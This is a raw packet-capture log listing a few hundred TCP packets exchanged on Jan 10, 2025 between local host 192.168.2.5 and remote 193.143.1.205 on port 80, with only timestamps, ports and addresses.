Jan 10, 2025 14:42:04.989319086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.989330053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:04.989346027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:04.989376068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.010190964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010270119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010328054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010355949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.010361910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010396004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010396957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.010446072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.010447025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010482073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010534048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.010535002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010570049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010620117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010623932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.010653973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010699034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.010703087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010736942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010768890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010781050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.010802031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010837078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010847092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.010869980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010902882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010920048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.010936022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010970116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.010986090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.011004925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.011051893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.011408091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.011456966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.011490107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.011518955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.011524916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.011559010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.011569977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.011729002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.011761904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.011775017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.011796951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.011831045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.011857033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.011867046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.011919022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.040911913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.040986061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041042089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041063070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.041075945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041110992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041143894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041177034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041209936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041214943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.041215897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.041244030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041271925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.041277885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041332960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.041397095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041429996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041464090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041488886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.041497946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041532993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041558981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.041584015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041619062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041634083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.041667938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041702986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041719913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.041731119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.041779041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.042047977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.042103052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.042136908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.042162895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.042169094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.042203903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.042229891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.042253017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.042287111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.042311907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.042320013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.042354107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.042368889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.042390108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.042423964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.042433023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.042459011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.042515039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.042927027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.042978048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.043011904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.043045044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.043047905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.043092012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.043124914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.043204069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.043283939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.049139023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.061784983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.061836004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.061870098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.061903000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.061953068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.061985016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.062007904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.062007904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.062036991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.062058926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.062069893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.062104940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.062127113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.062136889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.062171936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.062191010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.079828978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.079883099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.079931974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.079966068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.079998970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.080008030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.080008030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.080059052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.100800991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.102360964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102390051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102422953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102456093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102463961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.102508068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102514029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.102540970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102574110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102598906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.102607965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102652073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102669001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.102701902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102735043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102766037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.102767944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102802038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102834940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102835894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.102868080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102899075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.102900028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102935076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.102962017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.102972031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103003979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103035927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103041887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.103069067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103097916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.103101969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103152990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103163004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.103187084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103219986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103251934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103257895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.103285074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103327036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.103351116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103391886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103418112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.103425980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103458881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103488922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.103492022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103526115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103552103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.103562117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103594065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103621006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.103627920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.103687048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.131335974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131357908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131369114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131378889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131390095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131400108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131412029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131431103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131501913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.131519079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131531000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131541967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131608009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131618023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131628990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131640911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131678104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.131678104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.131727934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.131789923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131802082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131812096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131822109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.131845951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.131871939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.132221937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132234097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132244110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132282019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.132322073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132457018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132467985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132478952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132502079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.132527113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.132548094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132559061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132569075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132580042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132606030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.132631063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.132664919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132677078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132688046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.132711887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.133128881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.133141041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.133151054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.133178949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.133187056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.133198023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.133208036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.133210897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.133219957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.133235931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.133270025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.133336067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.133347034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.133357048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.133368015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.133378983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.133384943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.133407116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.152321100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.152326107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.152342081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.152353048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.152364016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.152381897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.152393103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.152401924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.152414083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.152417898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.152422905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.152436018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.152470112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.152564049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.152575016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.152585983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.152596951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.152616024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.152633905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.165631056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.170479059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.170526028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.170545101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.170557976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.170568943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.170582056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.170604944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.170640945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.190974951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191035986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191056013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191092014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191113949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191131115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191152096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191174030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191184998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.191185951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.191185951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.191195011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191220999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191226959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.191265106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.191267014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191287041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191307068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191337109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.191340923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191365004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191386938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.191422939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191474915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.191504955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191540003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191571951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191584110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.191667080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191713095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.191720009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191751957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191783905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.191814899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.192008018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192040920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192068100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.192075014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192125082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192126036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.192158937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192190886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192202091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.192224026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192255974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192269087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.192289114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192322969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192349911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.192405939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192434072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192459106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.192466974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192512989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.192518950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192553043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192598104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:42:05.192603111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192636967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192671061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:42:05.192698002 CET	49704	80	192.168.2.5	193.143.1.205
